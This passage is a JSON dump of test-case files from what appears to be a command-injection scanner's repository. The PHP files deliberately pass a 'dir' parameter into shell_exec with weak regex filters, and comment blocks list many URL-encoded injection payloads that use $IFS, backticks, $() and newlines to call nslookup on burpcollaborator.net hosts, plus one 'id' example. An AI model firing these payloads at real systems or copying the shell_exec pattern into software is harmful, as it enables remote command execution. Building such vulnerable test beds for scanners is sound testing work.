vybssqzy8pek29.burpcollaborator.net%60.\n%60nslookup%0920.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60\n.%22%7C%60nslookup%24IFS%249a1310.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%7C%22.\n.%7Cnslookup%091124.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%7C.\n;$(nslookup$IFS$9a556.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net);.\n.%0Anslookup+962.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n.%0A%60nslookup%09818.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A\n%0A%60nslookup%09458.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.\n.%60nslookup%091349.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60.\n%0Anslookup%09389.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.%27\n%24%28nslookup%09137.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%F0%9F%92%A9\n%26nslookup%09395.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%26.\n%0A%60nslookup+314.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.\n.%0A%60nslookup%091178.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.\n.%22%24%28nslookup%091346.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%22.\n.%22%26%60nslookup%091193.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%26%22.\n$(nslookup$IFS$9a211.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net)&\n.%0Anslookup+602.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A\n.;nslookup$IFS$9a1240.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net;.\n%60nslookup%09167.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A\n%0A%60nslookup%09464.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.%22\n%0A%60nslookup%09461.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.%27\n%60nslookup+74.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%F0%9F%92%A9\n.%26nslookup%24IFS%249a863.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%26\n%3Bnslookup%09413.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%3B.\n$(nslookup$IFS$9a25.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net)\n%0Anslookup+242.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n.%22%0A%60nslookup%09824.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A%22\n.%22%0A%24%28nslookup%24IFS%249a896.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A%22\n.%0Anslookup%091106.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n.;`nslookup$IFS$9a952.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net`;\n.%26nslookup%091115.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%26.\n%60nslookup%09161.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%00\n%24%28nslookup%0917.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29\n%0Anslookup%24IFS%249a494.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n%0Anslookup%09392.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.%22\n%60nslookup+8.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60\n%60nslookup%09164.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60+%23\n%0Anslookup%09386.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n*/\n\nif(isset($_GET['dir'])&&!preg_match('/&|\\||;|\\$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_space.php",
    "content": "<?php\n# filename: no_space.php\n# vulnerable (alternative argument separator needs to be applied as space is filtered)\n# samle successful payloads: \n/*\nThe following payloads have successfully penetrated the input:\n%0A%60nslookup%09458.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.\n%0Anslookup%09386.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.\n%3B%24%28nslookup%09449.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%3B.\n`nslookup$IFS$9a28.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net`\n%24%28nslookup%09146.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A\n%60nslookup%24IFS%249a230.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A\n%0A%60nslookup%09461.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.%27\n%24%28nslookup%09155.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%3B\n%60nslookup%09176.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%3B\n%24%28nslookup%24IFS%249a218.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%3B\n`nslookup$IFS$9a232.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net`&\n%60nslookup%24IFS%249a221.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%F0%9F%92%A9\n%60nslookup%24IFS%249a239.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%3B\n$(nslookup$IFS$9a211.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net)&\n%60nslookup%09158.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%F0%9F%92%A9\n$(nslookup$IFS$9a217.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net);\n%24%28nslookup%09137.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%F0%9F%92%A9\n%60nslookup%0920.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60\n%0Anslookup%09392.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.%22\n%60nslookup%09161.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%00\n%26nslookup%09395.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%26.\n%24%28nslookup%24IFS%249a203.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%00\n%7C%60nslookup%09476.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%7C.\n%26%24%28nslookup%09431.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%26.\n%26%60nslookup%09467.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%26.\n%60nslookup%24IFS%249a233.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%26\n%24%28nslookup%24IFS%249a212.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%26\n%0A%24%28nslookup%09422.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A.\n%7C%24%28nslookup%09440.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%7C.\n`nslookup$IFS$9a220.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net`=©\n%24%28nslookup%0917.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29\n%0A%24%28nslookup%09428.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A.%22\n%0A%60nslookup%09464.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A.%22\n%24%28nslookup%09149.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%26\n%60nslookup%09167.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%0A\n%60nslookup%09170.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%26\n%7Cnslookup%09404.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%7C.\n%0Anslookup%09389.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%0A.%27\n%60nslookup%24IFS%249a224.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%00\n$(nslookup$IFS$9a199.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net)=©\n%24%28nslookup%24IFS%249a209.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A\n%24%28nslookup%09140.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%00\n%0A%24%28nslookup%09425.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%0A.%27\n%3Bnslookup%09413.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%3B.\n%60nslookup%24IFS%249a29.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60\n%24%28nslookup%24IFS%249a200.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29%F0%9F%92%A9\n`nslookup$IFS$9a238.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net`;\n%24%28nslookup%24IFS%249a26.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%29\n%3B%60nslookup%09485.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net%60%3B.\n$(nslookup$IFS$9a25.e7mgwkkcpj34ze8zvybssqzy8pek29.burpcollaborator.net)\n*/\n\nif(isset($_GET['dir'])&&!preg_match('/ /',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_space_no_colon_no_pipe_no_ampersand.php",
    "content": "<?php\n# filename: no_space_no_colon_no_pipe_no_ampersand.php\n# vulnerable\n# sample exploits:\n/*\n%0A%24%28nslookup%09422.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.\n%24%28nslookup%24IFS%249a203.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%00\n.\"`nslookup$IFS$9a1372.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net`\".\n%0A%24%28nslookup%24IFS%249a533.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.%27\n%0Anslookup%24IFS%249a494.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.\n.%0A%24%28nslookup%24IFS%249a890.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A\n.%22%0A%24%28nslookup%091148.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A%22.\n.%60nslookup%24IFS%249a1367.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60.\n$(nslookup$IFS$9a211.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net)&\n.%22%0A%24%28nslookup%24IFS%249a896.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A%22\n.%0A%24%28nslookup%24IFS%249a1250.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.\n.$(nslookup$IFS$9a1357.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net).\n%60nslookup%24IFS%249a221.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%F0%9F%92%A9\n%24%28nslookup%09140.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%00\n%60nslookup%09158.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%F0%9F%92%A9\n%0A%60nslookup%24IFS%249a566.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.\n.%22%0A%60nslookup%09824.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A%22\n%24%28nslookup%24IFS%249a26.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29\n.%22%0A%60nslookup%24IFS%249a1292.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A%22.\n`nslookup$IFS$9a28.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net`\n%0A%24%28nslookup%09425.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.%27\n.%24%28nslookup%091340.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29.\n.%0A%24%28nslookup%091142.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.\n%60nslookup%09161.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%00\n%0A%60nslookup%09461.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.%27\n%24%28nslookup%09146.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A\n%24%28nslookup%24IFS%249a209.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A\n.%0Anslookup%09746.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A\n%0A%24%28nslookup%24IFS%249a530.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.\n.%22%24%28nslookup%24IFS%249a1364.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%22.\n%0A%60nslookup%09458.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.\n%0Anslookup%09386.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.\n.%22%60nslookup%24IFS%249a1373.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%22.\n.%22%0A%60nslookup%091184.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A%22.\n%60nslookup%24IFS%249a29.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60\n`nslookup$IFS$9a220.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net`=©\n%0Anslookup%09389.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.%27\n%24%28nslookup%24IFS%249a200.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%F0%9F%92%A9\n.%0Anslookup%24IFS%249a1214.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.\n%24%28nslookup%0917.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29\n.%60nslookup%091349.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60.\n%0Anslookup%09392.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.%22\n%0A%24%28nslookup%24IFS%249a536.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.%22\n.%0Anslookup%24IFS%249a854.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A\n`nslookup$IFS$9a232.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net`&\n%60nslookup%24IFS%249a230.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A\n$(nslookup$IFS$9a25.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net)\n.%0A%60nslookup%09818.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A\n.%22%0A%24%28nslookup%24IFS%249a1256.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A%22.\n%0A%60nslookup%09464.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.%22\n.\"$(nslookup$IFS$9a1363.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net)\".\n%0A%60nslookup%24IFS%249a569.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.%27\n%24%28nslookup%09137.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%F0%9F%92%A9\n.%0A%60nslookup%24IFS%249a926.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A\n.%22%0A%24%28nslookup%09788.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A%22\n.%22%0A%60nslookup%24IFS%249a932.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A%22\n.%22%24%28nslookup%091346.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%22.\n%0A%24%28nslookup%09428.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A.%22\n%60nslookup%0920.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60\n.%24%28nslookup%24IFS%249a1358.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29.\n%60nslookup%09167.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A\n$(nslookup$IFS$9a199.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net)=©\n%0Anslookup%24IFS%249a500.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.%22\n.%0Anslookup%091106.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.\n.`nslookup$IFS$9a1366.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net`.\n.%0A%60nslookup%091178.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.\n.%0A%60nslookup%24IFS%249a1286.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.\n%60nslookup%24IFS%249a224.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%00\n%0Anslookup%24IFS%249a497.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%0A.%27\n.%22%60nslookup%091355.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%22.\n%0A%60nslookup%24IFS%249a572.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%60%0A.%22\n.%0A%24%28nslookup%09782.co4edi1a6hk2gcpxcwsq9ogwpnvjj8.burpcollaborator.net%29%0A\n \n*/\n\nif(isset($_GET['dir'])&&!preg_match('/ /',$_GET['dir'])&&!preg_match('/&|\\||;/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars.php",
    "content": "<?php\n# filename: no_white_chars.php \n# vulnerable, just use a creative non-white alternative argument separator\n# \n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_no_colon_no_pipe_no_ampersand.php",
    "content": "<?php\n# filename: no_white_chars_no_colon_no_pipe_no_ampersand.php\n# vulnerable with newline as command separator\n# sample payloads:\n/*\n.\"`nslookup$IFS$9a1372.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net`\".\n%24%28nslookup%24IFS%249a203.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%29%00\n`nslookup$IFS$9a232.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net`&\n$(nslookup$IFS$9a25.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net)\n.%22%24%28nslookup%24IFS%249a1364.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%29%22.\n.%24%28nslookup%24IFS%249a1358.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%29.\n`nslookup$IFS$9a220.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net`=©\n%24%28nslookup%24IFS%249a200.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%29%F0%9F%92%A9\n%60nslookup%24IFS%249a224.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%60%00\n$(nslookup$IFS$9a211.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net)&\n.$(nslookup$IFS$9a1357.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net).\n.\"$(nslookup$IFS$9a1363.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net)\".\n`nslookup$IFS$9a28.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net`\n%60nslookup%24IFS%249a29.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%60\n$(nslookup$IFS$9a199.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net)=©\n.%60nslookup%24IFS%249a1367.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%60.\n.%22%60nslookup%24IFS%249a1373.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%60%22.\n%60nslookup%24IFS%249a221.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%60%F0%9F%92%A9\n%24%28nslookup%24IFS%249a26.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net%29\n.`nslookup$IFS$9a1366.fdwh2lqdvk955fe01zhtyr5zeqkn8c.burpcollaborator.net`.\n*/\n \nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&!preg_match('/&|\\||;/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_no_colon_no_pipe_no_ampersand_and_quote.php",
    "content": "<?php\n# filename: no_white_chars_no_colon_no_pipe_no_ampersand_no_quote.php\n# vulnerable to command injection\n# sample exploits:\n/*\n.%27%24%28nslookup%24IFS%249a1361.1ik377vz06era1jm6lmf3daljcpadz.burpcollaborator.net%29%27.\n.'`nslookup$IFS$9a1369.1ik377vz06era1jm6lmf3daljcpadz.burpcollaborator.net`'.\n.'$(nslookup$IFS$9a1360.1ik377vz06era1jm6lmf3daljcpadz.burpcollaborator.net)'.\n.%27%60nslookup%24IFS%249a1370.1ik377vz06era1jm6lmf3daljcpadz.burpcollaborator.net%60%27.\n*/\n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&!preg_match('/&|\\||;/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls '{$_GET['dir']}'\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_no_colon_no_pipe_no_ampersand_no_dollar.php",
    "content": "<?php\n# filename: no_white_chars_no_colon_no_pipe_no_ampersand_no_dollar.php\n# does not appear to be vulnerable to newline injection (the \\s+ switch)\n# while detection of the backtick injection is very hard; this works:\n# ?dir=`id`\n# but there is no way to separate arguments, while {nslookup,DOMAIN} does not work, at least not with dash (as far as I remember I tested this before and it olny worked with bash)\n# so, with dash on the other side this is currently not being detected\n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&!preg_match('/&|\\||;|\\$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_start_alphanum.php",
    "content": "<?php\nif(isset($_POST['dir'])&&!preg_match('/\\s+/',$_POST['dir'])&&preg_match('/^\\w+/',$_POST['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_POST['dir']}\");\n}\n?>\n"
  },
  {
    "path": "test_cases/no_white_chars_start_digit.php",
    "content": "<?php\n# filename: no_white_chars_start_digit.php\n# vulnerable to payloads starting with a digit\n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&preg_match('/^\\d+/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=1\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_stop_alnum.php",
    "content": "<?php\n# filename: no_white_chars_stop_digit.php\n# vulnerable, the payload has to end with a digit\n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&preg_match('/\\d+$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=1\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_stop_alphanum.php",
    "content": "<?php\n# filename: no_white_chars_stop_alphanum.php\n# vulnerable, the payload needs to end with an alphanum character\n#\n\necho \"Dir contents are:\\n\";\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir'])&&preg_match('/\\w+$/',$_GET['dir']))\n{\n\t echo \"<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=a\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_chars_windows_blind.php",
    "content": "<?php\n# filename: no_white_chars_windows_blind.php\n# vulnerable, no response directly shown\n# \n\nif(isset($_GET['dir'])&&!preg_match('/\\s+/',$_GET['dir']))\n{\t\t \n\tshell_exec(\"dir {$_GET['dir']}>../listing.txt\");\n\techo \"The index file has been updated.\";\n}\nelse\n{\n\techo \"GET[dir] not set.\";\n}\n?>\n\n\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/no_white_space_no_colon_no_pipe_no_ampersand_no_dollar.php",
    "content": "<?php\n# filename: no_white_spaces_no_colon_no_pipe_no_ampersand_no_dollar.php\n# vulnerable to newline\n# \nif(isset($_GET['dir'])&&!preg_match('/ /',$_GET['dir'])&&!preg_match('/&|\\||;|\\$/',$_GET['dir']))\n{\n\t echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n}\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/simple.php",
    "content": "<?php\n# filename: simple.php\n# vulnerable, simply\n\nif(isset($_GET['dir'])) echo \"Dir contents are:\\n<br />\".shell_exec(\"ls {$_GET['dir']}\");\n?>\n<a href=\"?dir=.\">clickme</a>\n"
  },
  {
    "path": "test_cases/simple_nested_quotes1.php",
    "content": "<?php\n# filename: simple_nested_quotes1.php\n# vulnerable\n# sample payloads:\n/*\n%0A%24%28nslookup%09662.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A.\n%7C%24%28nslookup%24IFS%249a791.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C.%27\n;$(nslookup$IFS$9a796.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net);.\n%26%24%28nslookup+527.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26.\n.%27%7C%24%28nslookup+899.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C%27\n%24%28nslookup%24IFS%249a215.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%7C\n;`nslookup$IFS$9a832.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net`;.\n%0A%24%28nslookup%09422.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n%0A%24%28nslookup+374.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A\n.%27%26%24%28nslookup+890.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%26%27\n.%22%7Cnslookup%091010.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%7C%22\n.%3B%24%28nslookup+905.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%3B\n%26%24%28nslookup%09305.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n.%22%0A%24%28nslookup%091028.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29%0A%22\n%7C%24%28nslookup%09308.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%3B%24%28nslookup%09311.gyiinmbeglu6qgz1m02ujsq0zr5utj.burpcollaborator.net%29\n%3B%60nslookup%24IFS%